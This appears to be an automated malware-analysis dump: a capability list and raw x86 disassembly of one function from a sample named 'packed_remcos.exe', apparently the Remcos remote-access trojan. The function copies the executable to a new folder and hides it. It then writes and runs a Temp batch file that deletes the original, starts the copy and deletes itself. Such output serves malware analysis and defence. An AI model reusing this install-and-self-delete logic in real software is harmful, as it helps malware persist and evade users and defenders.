Function at 0x40650d
Capabilities:
Copy file
Create directory
Create process on windows
Query environment variable
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40657d
push eax
mov ecx, 0x415918
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push 0x4108cc
push 0x415918
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x40]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov esi, 0x4157d0
mov ecx, esi
push eax
call dword [0x410264]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x20]
jmp 0x4065a0
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push eax
call fcn.0040712f
add esp, 0xc
mov esi, 0x4157d0
mov ecx, esi
push eax
call dword [0x410264]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov ebx, str.C:UsersAdministratorDesktoppacked_remcos.exe
mov edi, ebx
mov dl, byte [edi]
mov cl, dl
cmp dl, byte [eax]
jne 0x4065d7
test cl, cl
je 0x4065d3
mov dl, byte [edi + 1]
mov cl, dl
cmp dl, byte [eax + 1]
jne 0x4065d7
inc edi
inc edi
inc eax
inc eax
test cl, cl
jne 0x4065b5
xor eax, eax
jmp 0x4065dc
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x406619
mov ecx, 0x4157f8
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov al, byte [0x4157c8]
push eax
mov al, byte [0x4157e0]
push eax
mov al, byte [0x415910]
push eax
mov al, byte [0x415911]
push eax
mov al, byte [0x415808]
push eax
call fcn.00406339
add esp, 0x18
mov al, 1
jmp 0x406983
push 0
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4066e3
cmp byte [ebp + 8], 0x36
je 0x4066e3
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
push dword [ebp + 0x10]
not ecx
dec ecx
je 0x40669d
push 0x4108cc
lea eax, [ebp - 0x10]
push dword [ebp + 0xc]
push 0x36
push eax
call fcn.0040712f
add esp, 0xc
push eax
lea eax, [ebp - 0x30]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov ecx, esi
push eax
call dword [0x410264]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x10]
jmp 0x4066b7
lea eax, [ebp - 0x10]
push 0x36
push eax
call fcn.0040712f
add esp, 0xc
mov ecx, esi
push eax
call dword [0x410264]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4066e3
push ebx
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
xor al, al
jmp 0x406983
mov ecx, 0x4157f8
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov al, byte [0x4157c8]
push eax
mov al, byte [0x4157e0]
push eax
mov al, byte [0x415910]
push eax
mov al, byte [0x415911]
push eax
mov al, byte [0x415808]
push eax
call fcn.00406339
add esp, 0x18
cmp byte [ebp + 0x14], 1
jne 0x40674d
push 7
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push eax
call esi
mov edi, dword [ebp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40674d
push 7
mov ecx, 0x415918
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call esi
lea eax, [ebp + 0x17]
push str.install.bat
push eax
push str.Temp
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x40]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
push 0x10
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0xfc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
mov edi, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
lea eax, [ebp - 0xfc]
push str.PING_127.0.0.1__n_2__n
push eax
call edi
cmp byte [ebp + 0x18], 1
pop ecx
pop ecx
mov ebx, 0x410ec8
mov esi, 0x410860
jne 0x406878
push ebx
lea eax, [ebp + 0x17]
push esi
push eax
push str.C:UsersAdministratorDesktoppacked_remcos.exe
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp + 0x1b]
push esi
push eax
push str.del
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x20]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x30]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xfc]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp + 0x17]
push ebx
push eax
push esi
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
push 0x4157d0
lea eax, [ebp + 0x1b]
push esi
push eax
push str.start___
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x50]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x70]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x60]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xfc]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0xfc]
push str.del__0__n
push eax
call edi
lea eax, [ebp - 0xfc]
push str.exit__n
push eax
call edi
add esp, 0x10
lea ecx, [ebp - 0xfc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
xor esi, esi
mov eax, 0x410668
push esi
push eax
push eax
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x410718
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jbe 0x40696e
push esi
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0xfc]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret